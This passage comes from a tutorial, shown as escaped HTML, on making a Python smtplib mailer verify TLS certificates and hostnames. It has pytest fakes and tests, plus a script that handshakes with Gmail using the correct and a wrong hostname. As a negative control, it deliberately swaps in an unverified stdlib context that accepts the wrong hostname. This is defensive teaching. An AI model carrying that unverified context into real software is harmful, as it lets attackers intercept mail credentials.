&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.connect_context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.starttls_context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.order: list[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        FakeSMTP.instances.append(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; __enter__&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(self):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; self&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; __exit__&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(self, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;exc):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; starttls&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(self, context&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;None):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.starttls_context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.order.append(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;starttls&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; login&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(self, user, password):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.order.append(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; send_message&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(self, msg):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.order.append(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;send&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;@pytest.fixture&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; fake_smtp&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(monkeypatch):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    FakeSMTP.instances.clear()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    monkeypatch.setattr(mailer.smtplib, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SMTP_SSL&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, FakeSMTP)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    monkeypatch.setattr(mailer.smtplib, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SMTP&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, FakeSMTP)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; FakeSMTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; msg&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; build_message(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;body&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, CFG)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now four assertions that can actually fail:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_tls_context_verifies_certificates_and_hostnames&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ctx &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; mailer.tls_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ctx.check_hostname &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ctx.verify_mode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl.CERT_REQUIRED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_context_is_not_the_unverified_stdlib_default&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # Pin the distinction against the exact thing smtplib would have used.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    unverified &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl._create_stdlib_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (unverified.check_hostname, unverified.verify_mode) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (False, ssl.CERT_NONE)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ctx &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; mailer.tls_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (ctx.check_hostname, ctx.verify_mode) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (False, ssl.CERT_NONE)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_implicit_tls_passes_a_verifying_context_at_connect&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(fake_smtp):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    mailer.send(msg(), CFG)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fake_smtp.instances[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.connect_context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SMTP_SSL got context=None&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.connect_context.check_hostname &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.connect_context.verify_mode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl.CERT_REQUIRED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; test_credentials_never_cross_an_unupgraded_socket&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(fake_smtp):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    cfg &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; MailConfig(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;CFG.__dict__, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;port&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;587&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    mailer.send(msg(), cfg)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    conn &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fake_smtp.instances[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.starttls_context &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;starttls() got context=None&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.starttls_context.verify_mode &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl.CERT_REQUIRED&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; conn.order &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;starttls&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;login&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;send&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The last one checks ordering as well as presence, because a &lt;code&gt;login()&lt;/code&gt; ahead of the upgrade is a separate bug with the same consequence.&lt;/p&gt;
&lt;h2&gt;Verify it against a real server&lt;/h2&gt;
&lt;p&gt;Unit tests prove you passed a context. They do not prove the context is enforced at handshake time, and that is worth confirming once with positive and negative controls. Save this next to &lt;code&gt;mailer.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# verify_tls.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; socket&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; mailer &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tls_context&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;HOST, PORT &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;smtp.gmail.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;465&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ctx &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tls_context()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;context: check_hostname=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ctx.check_hostname&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; verify_mode=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;ctx.verify_mode&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!r&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; socket.create_connection((HOST, PORT), timeout&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ctx.wrap_socket(s, server_hostname&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;HOST) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;real hostname   : handshake OK, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t.version()&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; socket.create_connection((HOST, PORT), timeout&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        with&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ctx.wrap_socket(s, server_hostname&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;not-really-gmail.example.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;            print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;wrong hostname  : ACCEPTED, verification is NOT enforced&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ssl.SSLCertVerificationError &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; e:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;wrong hostname  : rejected, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(e)[:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;58&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run it:&lt;/p&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; verify_tls.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;context: check_hostname=True verify_mode=&amp;#x3C;VerifyMode.CERT_REQUIRED: 2&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;real hostname   : handshake OK, TLSv1.3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;wrong hostname  : rejected, [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second line proves the context works against the server you actually use. The third proves it rejects one it should not trust.&lt;/p&gt;
&lt;p&gt;Now break it on purpose. Change &lt;code&gt;tls_context()&lt;/code&gt; to return &lt;code&gt;ssl._create_stdlib_context()&lt;/code&gt;, which is what &lt;code&gt;smtplib&lt;/code&gt; would have used for you, and run the script again:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;context: check_hostname=False verify_mode=&amp;#x3C;VerifyMode.CERT_NONE: 0&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;real hostname   : handshake OK, TLSv1.3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;wrong hostname  : ACCEPTED, verification is NOT enforced&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
